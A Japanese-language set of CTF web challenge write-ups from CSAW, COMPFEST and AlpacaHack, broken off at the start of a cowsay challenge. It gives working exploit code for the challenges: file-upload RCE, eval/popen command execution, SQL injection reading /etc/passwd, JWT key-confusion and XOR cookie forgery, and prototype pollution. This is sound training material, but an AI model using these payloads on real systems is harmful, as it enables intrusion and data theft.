<img src="https://asdfaweofijaklfdjkldfsjfas.s3.us-east-2.amazonaws.com/sand-pit-1345726_640.jpg">

CFNz2JPIIJfRlNfnVx8a45jgh0J90KxS
->
<!-- Note to self: be sure to delete this password: versions_leaks_buckets_oh_my --> 

ステガノする

この2つを元にステガノすると(?)フラグが手に入る。

$ steghide extract -sf sand-pit-1345726_640.jpg -p versions_leaks_buckets_oh_my
wrote extracted data to "flag.txt".

$ cat flag.txt
csawctf{■■■■■■■■■■■■■■■■■■■■■■■■}

[web] Charlies Angels

ソースコード有り。javascriptで書かれたフロント側と、pythonで書かれたバックエンドが用意されている。フラグはpython側のバックエンドの/flagに置いてある。

pythonコードを動かしている箇所がある

@app.route('/restore', methods=["GET"])
def restore():
    filename = os.path.join("backups/", request.args.get('id'))
    restore = "ERROR"
    if os.path.isfile(filename + '.py'):
        try:
            py = filename + '.py'
            test = subprocess.check_output(['python3', py])
            if "csawctf" in str(test): 
                return "ERROR"
            restore = str(test)
        except subprocess.CalledProcessError as e:
            filename = "backups/" + request.args.get('id') + 'json'
            if not os.path.isfile(filename): return "ERROR"
            f = open(filename, "r")
            jsonified = json.dumps(f.read())
            if "flag" not in filename or "csawctf" not in jsonified:
                restore = jsonified
    return restore

バックエンド側でpythonコードを動かしている箇所があり非常に怪しい。しかも、普通に実行しているとここでエラーになる。filenameはGETクエリストリングからidパラメタを取得してきて.pyを付けたものを利用している。フロント側でここを呼び出しているのは以下。

app.get('/restore', authn, (req, res) => {  
    let restoreURL = BACKUP + `/restore?id=${req.sessionID}`;
    console.log(restoreURL);
    needle.get(restoreURL, (error, response) => {
        try {
            if (error) throw new Error(error);
            if (response.body == "ERROR") throw new Error("HTTP Client error");
            return res.send(response.body);
        } catch (e) {
            if (e.message != "HTTP Client error") {
                console.log(e);
            }
            return res.status(500).sendFile('public/html/error.html', {root: __dirname});
        }
    });
});

idとしてセッションIDを返している。つまり、backups/[セッションID].pyを実行していることになる。セッションIDは固定化するのは難しそうだったが、Cookieをよく見るとセッションIDが含まれていた。自分のセッションIDは取得可能であるため、任意のbackups/[自分のセッションID].pyのファイルが作成できれば、RCEまでつなげることができる。任意のファイルをアップロードできる箇所を探してみよう。

任意のファイルをアップロードする

バックエンド側のもう一つのエンドポイントもかなり怪しい見た目になっている。

BANNED = ["app.py", "flag", "requirements.txt"]
@app.route('/backup', methods=["POST"])
def backup():
    if request.files: 
        for x in request.files:
            file = request.files.get(x)
            for f in BANNED:
                if file.filename in f or ".." in file.filename:
                    return "ERROR"
            try:
                name = file.filename
                if "backups/" not in name:
                    name = "backups/" + name
                f = open(name, "a")
                f.write(file.read().decode())
                f.close()
            except:
                return "ERROR"
    else:
        backupid = "backups/" + request.json["id"] + ".json"
        angel = request.json["angel"]
        f = open(backupid, "a")
        f.write(angel)
        f.close()
    
    return "SUCCESS"

POST /backupにアップロードされたファイルをbackupsフォルダ以下に保存している。いかにもbackups/[自分のセッションID].pyが用意できそうな雰囲気がある。呼び出し元を見てみよう。

app.post('/angel', (req, res) => {
    for (const [k,v] of Object.entries(req.body.angel)) {
        if (k != "talents" && typeof v != 'string') {
            return res.status(500).send("ERROR!");
        }
    }
    req.session.angel = {
        name: req.body.angel.name,
        actress: req.body.angel.actress,
        movie: req.body.angel.movie,
        talents: req.body.angel.talents
    };
    const data = {
        id: req.sessionID,
        angel: req.session.angel
    };
    const boundary = Math.random().toString(36).slice(2) + Math.random().toString(36).slice(2);
    needle.post(BACKUP + '/backup', data, {multipart: true, boundary: boundary},  (error, response) => {
        if (error){
            console.log(error);
            return res.status(500).sendFile('public/html/error.html', {root: __dirname});
        }
    });
    return res.status(200).send(req.sessionID);

});

needleというライブラリを使ってバックエンドを呼び出している。だが、読んだ感じファイルアップロードをしているような実装ではなく、実際に試してみてもアップロードではなかった。外部入力的にはneedle.postの第二引数の一部を改変可能だが、うまくやれないだろうか?

needleの公式READMEを見ると、ここにあるように)第二引数経由でファイルを入れ込めるようだ。フロント側のjavascriptを見ると、angel.talents以下のみstringでなくても良いので、そこにここにあるようなものを入れて試してみる。つまり、手元で環境を立ち上げてPOST /angelに以下のようなjsonを送ってみる。

{
    "angel": {
        "name":"Tiffany Welles",
        "actress":"Shelley Hack",
        "movie":"OG Charlie's Angels TV Series",
        "talents": {
            "filename": "hoge.py",
            "buffer": "print(1337)",
            "content_type": "application/json"
        }
    }
}

これでバックエンドのターミナルを起動してみると、backups/hoge.pyが生成されていて、bufferの中身が保存されていた!!! このエンドポイントを活用することで任意のファイル名・中身のファイルの生成に成功した。

1つにまとめる

以上2つのポイントをまとめることで任意のpythonスクリプトを動かすことができる。ここまでの理屈が理解できていればPoCを読む方が後は明快なので、PoCを置いておく。

import requests

BASE = 'https://[redacted]/'

s = requests.Session()

s.get(BASE + 'angel')
session_id = s.cookies.get('connect.sid')[4:36]
s.post(BASE + 'angel', json={
    "angel": {
        "name":"hoge",
        "actress":"fuga",
        "movie":"piyo",
        "talents": {
            "filename": session_id + '.py',
            "buffer": "print(open('/flag').read().replace('csawctf','[redacted]'))",
            "content_type": "application/evil"
        }
    }
})
t = s.get(BASE + 'restore').text
print(t)

注意点としてバックエンドのGET /restoreにてpythonスクリプトの実行結果にcsawctfが含まれているとエラーになるので、適当に変換して出力している。

[web] Log Me In

ソースコード有り。フラグは以下にある。

@pagebp.route('/user')
def user():
    cookie = request.cookies.get('info', None)
    name='hello'
    msg='world'
    if cookie == None:
        return render_template("user.html", display_name='Not Logged in!', special_message='Nah')
    userinfo = decode(cookie)
    if userinfo == None:
        return render_template("user.html", display_name='Error...', special_message='Nah')
    name = userinfo['displays']
    msg = flag if userinfo['uid'] == 0 else "No special message at this time..."
    return render_template("user.html", display_name=name, special_message=msg)

つまり、Cookieのinfo経由で与えた何かをデコードした結果がuid=0であればよい。decode関数を見てみる。

def decode(inp: str) -> dict:
    try:
        token = bytes.fromhex(inp)
        out = ''
        for i,j in zip(token, os.environ['ENCRYPT_KEY'].encode()):
            out += chr(i ^ j)
        user = json.loads(out)
        return user
    except Exception as s:
        LOG(s)
        return None

hexをデコードしてos.environ['ENCRYPT_KEY']とXORを取っている。なるほど。鍵を特定する必要がありそう。

鍵を特定し、トークンを偽装する

encodeしている箇所を探すとPOST /loginで使われていた。

@pagebp.route('/login', methods=["GET", "POST"])
def login():
    if request.method != 'POST':
        return send_from_directory('static', 'login.html')
    username = request.form.get('username')
    password = sha256(request.form.get('password').strip().encode()).hexdigest()
    if not username or not password:
        return "Missing Login Field", 400
    if not is_alphanumeric(username) or len(username) > 50:
        return "Username not Alphanumeric or longer than 50 chars", 403
    # check if the username already exists in the DB
    user = Account.query.filter_by(username=username).first()
    if not user or user.password != password:
        return "Login failed!", 403
    user = {
        'username':user.username,
        'displays':user.displayname,
        'uid':user.uid
    }
    token = encode(dict(user))
    if token == None:
        return "Error while logging in!", 500
    response = make_response(jsonify({'message': 'Login successful'}))
    response.set_cookie('info', token, max_age=3600, httponly=True)
    return response

ソースコードがあるので構造が分かっていて、前半はユーザー入力で構成されている。よって、平文がほとんど分かる状態である。token = 平文 xor 鍵であるため、token xor 平文で鍵を導出することができる。username, diplaynameを適当に伸ばせば十分な長さの鍵を取得することができる。

やってみよう。まず、username, displayname共に「EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE」を設定してユーザー登録する。その際に得られたトークンを使って以下のようなスクリプトを回して鍵を手に入れ、uid=0にしたトークンを偽装する。

import json

user = {
    'username': 'EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE',
    'displays': 'EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE',
    'uid': 1
}
plaintext = json.dumps(dict(user)).encode()

inp = '48674c3731025651282f614a4d543317217d37220724263232722c3111177636227c2834020e3d3d342e311f0a35373d040b0f2c1d033c147013703f060d772a535e551417281f1c2114361540494e6b32727177320a300a06162e211c1f211774260e012c08090e0c3d27152d002c0b3f207200207635720e210311273208773437114a55604c0f02724d6e7027'
token = bytes.fromhex(inp)
key = ''
for i,j in zip(token, plaintext):
    key += chr(i ^ j)
print(key)


user = {
    'username': 'a',
    'displays': 'b',
    'uid': 0
}
plaintext = json.dumps(dict(user)).encode()
out = b''
for i,j in zip(plaintext, key.encode()):
    out += bytes([i^j])
print(bytes.hex(out))

最終的に出力されたトークンをCookieのinfoに入れてGET /userにアクセスするとフラグが得られる。

[web] Lost Pyramid

ソースコード有り。問題文にヒントがある。

A massive sandstorm revealed this pyramid that has been lost (J)ust over 3300 years.. I'm interested in (W)here the (T)reasure could be?

JWTをなんかするみたい。

フラグはどこにある?

ソースコードを見るとtempletes/kings_lair.htmlにダミーフラグが書いてあった。このファイルが使われている所を見ると以下の箇所。

# Load keys
with open('private_key.pem', 'rb') as f:
    PRIVATE_KEY = f.read()

with open('public_key.pub', 'rb') as f:
    PUBLICKEY = f.read()

KINGSDAY = os.getenv("KINGSDAY", "TEST_TEST")
...[redacted]...
@app.route('/kings_lair', methods=['GET'])
def kings_lair():
    token = request.cookies.get('pyramid')
    if not token:
        return jsonify({"error": "Token is required"}), 400

    try:
        decoded = jwt.decode(token, PUBLICKEY, algorithms=jwt.algorithms.get_default_algorithms())
        if decoded.get("CURRENT_DATE") == KINGSDAY and decoded.get("ROLE") == "royalty":
            return render_template('kings_lair.html')
        else:
            return jsonify({"error": "Access Denied: King said he does not way to see you today."}), 403
    
    except jwt.ExpiredSignatureError:
        return jsonify({"error": "Access has expired"}), 401
    except jwt.InvalidTokenError as e:
        print(e)
        return jsonify({"error": "Invalid Access"}), 401

フラグを得るには2つのクリアすべき障壁がある。1つはJWTトークンの検証を回避することであり、もう1つはKINGSDAYの値を特定することである。

decode部分を見るとdecoded = jwt.decode(token, PUBLICKEY, algorithms=jwt.algorithms.get_default_algorithms())のように使えるアルゴリズムjwt.algorithms.get_default_algorithms()となっていた。encode時はjwt.encode(payload, PRIVATE_KEY, algorithm="EdDSA")のように固定されているので変な感じがする。怪しいがnoneを試しても成功しなかったので一旦置いておく。

SSTI

ソースコードをさらに巡回すると以下にSSTI出来る箇所が見つかる。(適当に省略している)

@app.route('/scarab_room', methods=['GET', 'POST'])
def scarab_room():
    try:
        if request.method == 'POST':
            name = request.form.get('name')
            if name:
                kings_safelist = ['{','}', '𓁹', '𓆣','𓀀', '𓀁', '𓀂', '𓀃', '𓀄', '𓀅', '𓀆', '𓀇', '𓀈', '𓀉', '𓀊', 
                                    '𓀐', '𓀑', '𓀒', '𓀓', '𓀔', '𓀕', '𓀖', '𓀗', '𓀘', '𓀙', '𓀚', '𓀛', '𓀜', '𓀝', '𓀞', '𓀟',
                                    '𓀠', '𓀡', '𓀢', '𓀣', '𓀤', '𓀥', '𓀦', '𓀧', '𓀨', '𓀩', '𓀪', '𓀫', '𓀬', '𓀭', '𓀮', '𓀯',
                                    '𓀰', '𓀱', '𓀲', '𓀳', '𓀴', '𓀵', '𓀶', '𓀷', '𓀸', '𓀹', '𓀺', '𓀻']  

                name = ''.join([char for char in name if char.isalnum() or char in kings_safelist])

                
                return render_template_string('''
                    <!DOCTYPE html>
...
[redacted]
...
                        
                        {% if name %}
                            <h1>𓁹𓁹𓁹 Welcome to the Scarab Room, '''+ name + ''' 𓁹𓁹𓁹</h1>
                        {% endif %}
                        
                    </body>
                    </html>
                ''', name=name, **globals())
    except Exception as e:
        pass

    return render_template('scarab_room.html')

GET /scarab_roomを開き{{config}}を試すとうまくいった。いつものSSTIのペイロードを試そうとするが、記号が使えないためにRCEができない。

記号が使えなくてもできることを色々試すと、{{KINGSDAY}}でKINGSDAYの値を取得することが出来た。パズルのピースが1つ手に入った。同様にPRIVATE_KEYが取得出来ればトークン偽装もできるようになるが、これは記号が含まれているので無理。代わりに公開鍵の方は{{PUBLICKEY}}のように不自然に記号が含まれていないので取得できる。

JWTトークンを偽装する

先ほどは偽装に失敗したが、SSTIから公開鍵が得られることを考えても、やはり偽装するのだろう。使っているライブラリに脆弱性が無いかrequirements.txtを見てみるとPyJWT==2.3.0のようにPyJWTの大分古いバージョンを使っていて、検索すると脆弱性CVE-2022-29217が報告されていた。これは使えそうだ。古いバージョンだとPEMをそのまま共通鍵として指定しても問題無いというもの。

以下のようにやってみる。

with open('lostpyramid/public_key.pub', 'rb') as f:
    PUBLICKEY = f.read()

import jwt

token = jwt.encode({"ROLE": "commoner"}, PUBLICKEY, algorithm='HS256')
print(token)

これを実行してみると…

jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.

とエラーが出た。手元の環境はバージョンが新しいようだ。クリーンなpython環境を作って指定のPyJWTをインストールしてもう一度試してみよう。

$ docker run -v ${PWD}:/mnt --rm -it python:latest /bin/bash
root@d7c568217a01:/# pip install PyJWT==2.3.0
Collecting PyJWT==2.3.0
  Downloading PyJWT-2.3.0-py3-none-any.whl.metadata (4.0 kB)
Downloading PyJWT-2.3.0-py3-none-any.whl (16 kB)
Installing collected packages: PyJWT
Successfully installed PyJWT-2.3.0
WARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv

[notice] A new release of pip is available: 24.0 -> 24.2
[notice] To update, run: pip install --upgrade pip
root@d7c568217a01:/# cd /mnt
root@d7c568217a01:/mnt# python3 solver.py 
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJST0xFIjoiY29tbW9uZXIifQ.hGjNWOZmjK56LiVC8y9VZymVTt6Kq18v_jhaTvM8Wqk

ok. これをCookieのpyramidに入れてGET /kings_lairに行くと{"error":"Access Denied: King said he does not way to see you today."}のようにトークン検証は成功した。

フラグへ

これでパズルの鍵が全部そろったので、フラグを取ろう。

  1. GET /scarab_roomを開く
  2. {{KINGSDAY}}を入力して、KINGSDAYの値を取得 -> 03_07_1341_BC
  3. {{PUBLICKEY}}を入力して、PUBLICKEYの値を取得 -> ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPIeM72Nlr8Hh6D1GarhZ/DCPRCR1sOXLWVTrUZP9aw2
  4. 以下でtoken作成
KINGSDAY = '03_07_1341_BC'
PUBLICKEY = b'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPIeM72Nlr8Hh6D1GarhZ/DCPRCR1sOXLWVTrUZP9aw2'

import jwt

token = jwt.encode({"ROLE": "royalty", "CURRENT_DATE": KINGSDAY}, PUBLICKEY, algorithm='HS256')
print(token)
  1. 4の結果をCookieのpyramidにいれて、GET /kings_lairを開くとフラグ獲得

[web] Playing on the Backcourts

ソースコードpythonスクリプトが与えられる。フラグはpythonコード内にある。

safetytime = 'csawctf{i_look_different_in_prod}'

書いてはあるが、どこでも使われていない。ソースコードを巡回すると、怪しい処理がある。

@app.route('/get_eval', methods=['POST'])
def get_eval() -> Flask.response_class:
    try:
        data = request.json
        expr = data['expr']
        
        return jsonify(status='success', result=deep_eval(expr))
    
    except Exception as e:
        return jsonify(status='error', reason=str(e))


def deep_eval(expr:str) -> str:
    try:
        nexpr = eval(expr)
    except Exception as e:
        return expr
    
    return deep_eval(nexpr)

evalしてますね。入力されたjsonのexprを持ってきてevalしている。これはasfetytimeを持って来るだけか?…とPOST /get_evalに対して{"expr": "safetytime"}を送ると以下が帰ってきた。

{"result":"csawctf{7h1s_1S_n07_7h3_FL49_y0u_4R3_l00K1n9_f0R}","status":"success"}

これを出してみるが不正解。んー、RCEできるかも確かめてみる。

{"expr": "__import__('os').popen('id').read()"}とやるとuid=1000(swilliams) gid=3000 groups=3000と帰ってきた。RCEできますね。

適当にcat * | grep csawctfするといくつかフラグっぽいのが出てきて出すと正答だった。{"expr": "__import__('os').popen('cat * | grep csawctf').read()"}を送って、最後に出てきたフラグっぽいものが正答。

COMPFEST CTF 2024 Writeup

https://ctftime.org/event/2463

[web] Let's Help John!

ソースコード無し。サイトを巡回して/playを見ると指令が書いてあった。指令に従ってHTTPリクエストヘッダーを色々やる問題。

  • Make sure you are referred by the State Official. Their official web is http://state.com. > Referer: http://state.com
  • Make sure his Cookie quantity is not "Limited". Make it "Unlimited"! -> Cookie: quantity=Unlimited
  • Change your User-Agent to "AgentYessir". -> User-Agent: AgentYessir
  • Great! To make it obvious for John, lets say it's From pinkus@cellmate.com. -> From: pinkus@cellmate.com

これをやるとフラグがもらえる。

[web] Chicken Daddy

ソースコード有り。javascriptで書かれたwebサーバとMySQLサーバが与えられる。フラグはMySQLサーバの/home/redacted/flag.txtに置かれている。redactedとあるのでユーザー名も取得する必要があるのだろう。

SQL Injectionがある

javascriptのサーバー側は非常に簡潔でSQL Injectionできる所がある。

export async function getRecipe(id) {
    const [results] = await conn.query(`SELECT * FROM recipes WHERE id = ${id}`);
    return results;
}

app.get('/', async (req, res) => {
    const id = req.query.id;
    try{
        if (!id) {
            let recipes = await getAllRecipes();
            res.render('index', { recipes: recipes });
        } else {
            let [recipe] = await getRecipe(id);
            if (!recipe) {
                throw new Error('Recipe not found');
            }
            res.render('recipe', { recipe: recipe });
        }
    } catch (err) {
        res.status(404).render('errors/404');
    }
});

コード数も少なく、webアプリはSQL Injectionするためだけの存在なのだろう。recipesテーブルは

CREATE TABLE IF NOT EXISTS recipes (id INT PRIMARY KEY, name TEXT, img_url TEXT, description TEXT, instructions TEXT)

のように構成されていて、埋め込み先のSELECT * FROM recipes WHERE id = ${id}では*でカラムが指定されているので、カラム数は5個である。よって、SQL Injectionのテストのため、idに-1 union select 0,0,0,0,"test string"と入れてみると、test stringが応答として帰ってくることが確認できる。

これは

SELECT * FROM recipes WHERE id = -1 union select 0,0,0,0,"test string"

のように埋め込まれてid=-1は存在しないので、unionで結合された後ろの結果のみが応答として帰ってくるためである。

さて、SQL Injectionが使えることは分かった。だが、今回の問題のミソは、SQL Injectionができる状態でユーザー名特定とファイル読み出しを実現することである。

my.cnfを見てみる

MySQL側でmy.cnfが提供されているデフォルト設定との差を見てみると

secure-file-priv=

のようにsecure-file-privが空になっている。公式ドキュメントを読むと、ファイルの読み書きできる場所を指定するパラメタのようで、これが空の場合は制限がかからずセキュアな設定ではないみたい

つまりはload_fileが使えるということ。いつもの試金石である/etc/passwdで試してみよう。

-1 union select 0,0,0,0,load_file("/etc/passwd")

これをすると色々と出力が出てきた。フラグのパスを特定するにはユーザー名を特定する必要があるが、この情報はまさにこの/etc/passwdからも得られる。ayamCemaniという見慣れぬユーザー名が得られた。ということで、以下でフラグ獲得。

-1 union select 0,0,0,0,load_file("/home/ayamCemani/flag.txt")

[web] SIAK-OG

ソースコード有り。javascriptで書かれたwebサイトが与えられ、本番環境は共有ではなくインスタンサーが用意されていた。ソースコードを見て怪しい所を探す。

フラグの場所は?

フラグはここにある。

courses_list['DSA'] = {
    name: 'DSA',
    available: false,
    taken: false,
    description: fs.readFileSync('flag.txt', 'utf8').trim(),
    cost: 3,
};

...[redacted]...

app.use((req, res, next) => {
    if (req.ip == '127.0.0.1') {
        req.session.admin = true;
    }

    if (!req.session.courses) {
        req.session.courses = courses_list;
    }
    next();
});

...[redacted]...

app.get('/', (req, res) => {
    res.render('index', { courses: req.session.courses });
});

という感じでcourses_listに入っていて、それがsession.coursesに入ってくる。フラグが書いてあるdescriptionが表示されるのでindex.ejsの部分で、

<% Object.keys(courses).forEach( course => { 
    if(courses[course].taken) { %>
    <tr class="<%= courseCount % 2 == 0 ? "bg-lightergray" : "bg-white" %>">
        <% courseCount += 1 %>
        <td><%= courses[course].name %></td>
        <td><%= courses[course].cost %> SKS</td>
        <td><%= courses[course].description %></td>
    </tr>
    <% }
}) %>

ここ。takenがtrueであれば表示されるがフラグのあるDSAのtakenはfalseなので表示できない。

Prototype Pollution

以下にもPrototype Pollution出来そうな部分を見つけた。本番環境がインスタンサーで一人ひとり分けられていることも、この仮定を支持している。

app.use(express.json({ extended: true }));

...[redacted]...

app.post('/api/v1/edit-irs', (req, res) => {
    for (const [key, value] of Object.entries(req.body)) {
        if (!req.session.courses[key]) {
            req.session.courses[key] = JSON.parse(JSON.stringify(dummy));
        }

        for (const [k, v] of Object.entries(value)) {
            if (!req.session.admin && (k === 'available' || req.session.courses[key].available === false)) {
                continue;
            } else {
                req.session.courses[key][k] = v;
            }
        }
    }

    res.send('Successfully updated');
});

json{"__proto__": {"hoge": "fuga"}}のようにするとPrototype Pollution可能。そして、よく見るとこの部分でDSAのtakenをtrueにすることができそうである。だが、これはやってみると失敗する。これは条件のreq.session.courses[key].available === falseに該当するためである。このフィルタリングを回避するには、!req.session.adminをfalseにする必要があるが…これはPrototype Pollutionで可能である!

app.use((req, res, next) => {
    if (req.ip == '127.0.0.1') {
        req.session.admin = true;
    }

    if (!req.session.courses) {
        req.session.courses = courses_list;
    }
    next();
});

このように127.0.0.1からのアクセスであればsessionにadminを追加しているが、最初はadminは未定義になるのでPrototype Pollutionでadminを追加してやればそちらを使わせることが可能である。

フラグ獲得へ

次の流れでフラグを取得していこう。

  1. sessionにadmin=trueを追加する
  2. DSAのtakenをtrueに変更する
  3. GET /でフラグを表示させる

手順1と手順2は1つのリクエストで完結させることができる。セッションを適当に発行した後、以下のようなリクエストを投げよう。

POST /api/v1/edit-irs HTTP/2
Host: [redacted]
Cookie: connect.sid=s%3AxHWllWillyrWZqlK05GIPgZhkuP0Kuut.ARHMvEOgoMhyUIEZSktoLu3SO5wAF1O3UBca2Rwkogs
Content-Length: 54
Content-Type: application/json

{"__proto__": {"admin": true}, "DSA": {"taken": true}}

これにより、最初のループでPrototype Pollutionを起こし、{}['admin']=trueになるようにする。次のループで検証が回避できるようになっているのでDSAのtakenをtrueに変更する。

これでフラグの表示制限が解除されたので、手順3としてGET /にアクセスするとフラグが得られる。

AlpacaHack Round 2 (Web) Writeups

https://alpacahack.com/ctfs/round-2

Single LoginはCTF初学者向けに割と細かく書きました。

Simple Login

pythonで書かれたwebサイトが与えられる。初手何をするかであるが、ソースコードが与えられているのでソースコードを読んで脆弱性を探していこう。サイトを巡回して脆弱性を探してみてもいいのだが、ソースコードが提供されている場合はソースコードを読んでサイトの機能や脆弱性、フラグの場所を把握していく方が良い。

ソースコード読み

では、ソースコードを読んでいこう。メインとなるapp.pyは以下の通り。

from flask import Flask, request, redirect, render_template
import pymysql.cursors
import os


def db():
    return pymysql.connect(
        host=os.environ["MYSQL_HOST"],
        user=os.environ["MYSQL_USER"],
        password=os.environ["MYSQL_PASSWORD"],
        database=os.environ["MYSQL_DATABASE"],
        charset="utf8mb4",
        cursorclass=pymysql.cursors.DictCursor,
    )


app = Flask(__name__)


@app.get("/")
def index():
    if "username" not in request.cookies:
        return redirect("/login")
    return render_template("index.html", username=request.cookies["username"])


@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "POST":
        username = request.form.get("username")
        password = request.form.get("password")

        if username is None or password is None:
            return "Missing required parameters", 400
        if len(username) > 64 or len(password) > 64:
            return "Too long parameters", 400
        if "'" in username or "'" in password:
            return "Do not try SQL injection 🤗", 400

        conn = None
        try:
            conn = db()
            with conn.cursor() as cursor:
                cursor.execute(
                    f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
                )
                user = cursor.fetchone()
        except Exception as e:
            return f"Error: {e}", 500
        finally:
            if conn is not None:
                conn.close()

        if user is None or "username" not in user:
            return "No user", 400

        response = redirect("/")
        response.set_cookie("username", user["username"])
        return response
    else:
        return render_template("login.html")

ざっくりとは3つエンドポイントが用意されている。

  • GET / ログイン後にCookieに保存されたユーザー名を出力する
  • GET /login ログイン画面
  • POST / ログイン処理の実装

フラグがどこにあるかを探してみると、データベースに置かれていた。データベースの初期化に使われるSQLファイル init.sql は以下の通り。

USE chall;

DROP TABLE IF EXISTS flag;
CREATE TABLE IF NOT EXISTS flag (
    value VARCHAR(128) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_bin;

-- On the remote server, a real flag is inserted.
INSERT INTO flag (value) VALUES ('Alpaca{REDACTED}');

DROP TABLE IF EXISTS users;
CREATE TABLE IF NOT EXISTS users (
    username VARCHAR(16) PRIMARY KEY,
    password VARCHAR(16) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_bin;

INSERT INTO users (username, password) VALUES ('admin', 'pass');
INSERT INTO users (username, password) VALUES ('hacker', '1337');
  • flagテーブル:フラグが格納されている
  • usersテーブル:ユーザー情報が格納されている

app.pyとinit.sqlを見るとWebサービス側でログイン処理にusersテーブルを利用しているが、flagテーブルは使われていない。一見、flagテーブルにある情報の取得は不可能なようにも見えるが、SQL Injectionという脆弱性を使えば別のテーブルであっても情報を抜き出すことができる。その方向性で考えていこう。

SQL Injection

注意:SQL Injectionとは何かの細かい説明はしないので、別の記事で学習してくることを推奨します。比較的細かく説明しますが、SQL Injectionの基礎が理解できている方がスムーズに読み進めることができます。

SQL InjectionのためにはSQLのクエリが動的に生成されている必要がある。SQLのクエリを生成している部分を見ると入力されたユーザー名・パスワードを使ってクエリ実行するために文字列結合で動的にクエリが作られていた。

cursor.execute(
    f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
)

ライブラリなどを使って無害化した状態で埋め込まず単純な文字列結合で埋め込まれているので、SQL Injectionできそう。'を入力すればusername, passwordの文字列部分を抜け出すことができ、自由にSQL文を構築することができるのだが、以下の部分でusername, passwordに'が含まれないことを検証していた。

if "'" in username or "'" in password:
    return "Do not try SQL injection 🤗", 400

ということで、ここからどうしようかなと考えるのが今回の難しいポイント。こういうブラックボックスでの対策は破られる運命にあるので、他にSQL Injectionできそうな手法が無いか探してみる。自分は今回紹介する回避方法は知っていたので、フィルターを見た瞬間解法を思いつき、First Bloodが取れた。そうでない場合に自分ならどうするだろうかという話を載せておく。

まずは、インターネットで手法を検索してみよう。例えばsql injection without single quoteと検索するとこういうページが見つかったりするし、日本語でSQLインジェクションの記事を見ていくとこういうページが見つかったりする。どちらのページにも今回紹介するテクニックが書かれている。

他に、より本質的な調査方針として、仕様を確認してみるという方向性もある。MySQLの文字列を抜け出すのに'以外に良さそうな方針が無いか仕様を参照してみよう。文字列リテラルのサイトを見てみると、今回紹介するテクニックに関連する仕様を見つけることができる。

回り道をしたが、解法に戻ると、今回はbackslashを使ったテクニックを使うことができる。usernameを\にして、passwordをor 1=1 #にしてみよう。これには'は含まれないのでフィルターを回避できる。これを使ってSQL文を作ると以下のようになる。

SELECT * FROM users WHERE username = '{username}' AND password = '{password}'
+
usernameを`\`
passwordを` or 1=1 # `
=
SELECT * FROM users WHERE username = '\' AND password = ' or 1=1 # '

ここでusernameの後ろの部分で\'という部分ができている。これはMySQLの仕様によると文字列中に'を表現する方法である。つまり、もともとは文字列の終端であった'をbackslashを付けることで終端文字として解釈されないようにしている。よって、usernameの後ろの文字列の終端は元々passwordの後ろの文字列の開始として使われていた'となり、埋め込み後は

SELECT * FROM users WHERE username = '[文字列]' or 1=1
※ [文字列]は「\' AND password = 」
※ 末尾の「# '」は末尾コメントとして解釈されるので無視

のように解釈される。これでusernameの状態が何であれ、orで連結された1=1によってすべてのカラムが取得されるようになった。よって、usernameを\にして、passwordをor 1=1 #とすることでadminでログインできることが確認できるはずである。ここまで理解できていれば、フラグまではもうちょっと。

SQL Injectionを利用して別テーブルから情報を持って来る

今回はログインが目的ではなく、別のテーブルから情報を持って来るのが目標である。ログイン処理の後半部分を改めてみてみよう。

conn = None
try:
    conn = db()
    with conn.cursor() as cursor:
        cursor.execute(
            f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
        )
        user = cursor.fetchone()
except Exception as e:
    return f"Error: {e}", 500
finally:
    if conn is not None:
        conn.close()

if user is None or "username" not in user:
    return "No user", 400

response = redirect("/")
response.set_cookie("username", user["username"])

SQL文を実行した結果にusernameが含まれているか確認して、含まれていればそのusernameをCookieに入れている。(応答のSet-Cookieから持ってきてもいいが)GET /でusernameが表示できるので、usernameとしてフラグを返すことを考えよう。このために便利なSQL構文としてunion句がある。

union句を使うことで別のテーブルの情報をマージして結果を返すことができるようになる。ベースはSELECT * FROM usersなので、テーブルの形はusername,passwordの型になる。普通にSELECT value FROM flagとするとカラムが1つになるので、適当にもう1つ付けてSELECT value,value FROM flagをunionでくっつけることにしよう。

方針も決まったので答えを作っていく。まず、空の応答が帰るようにSQL Injectionを作るため、usernameを\にして、passwordを#にする。埋め込むと、

SELECT * FROM users WHERE username = '\' AND password = ' # '

となる。見にくいが、usernameが「' AND password = 」である行は存在せず、#以降はコメントで無視されるので、取得結果は

username | password
==============

のように結果が空となる。ここにunionでSELECT value,value FROM flagをくっつける。つまり、usernameを\にして、passwordをUNION SELECT value,value FROM flag #とする。埋め込むと、

SELECT * FROM users WHERE username = '\' AND password = ' UNION SELECT value,value FROM flag # '

となる。これで

username | password
==============
  [flag]  |  [flag]  

となるので、usernameにフラグを入れることが出来た。なので、これでログイン後にリダイレクトでGET /が開かれるとフラグが表示される。

CaaS

javascriptで書かれたcowsayを実行するサイトが与えられる。ソースコードは簡潔で以下。

import express from "express";
import crypto from "node:crypto";
import { $ } from "zx";

const app = express();
const PORT = 3000;

app.use(express.static("public"));

app.get("/say", async (req, res) => {
  const { message = "Hello!" } = req.query;

  try {
    const uuid = crypto.randomUUID();
    await $({
      cwd: "public/out",
      timeout: "2s",
    })`/usr/games/cowsay ${message} > ${uuid}`;
    res.send({ uuid });
  } catch ({ exitCode }) {
    res.status(500).send(exitCode ? "error" : "timeout");
  }
});

app.listen(PORT);

例えばmessageにHello!とやると

 ________
< Hello! >
 --------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||

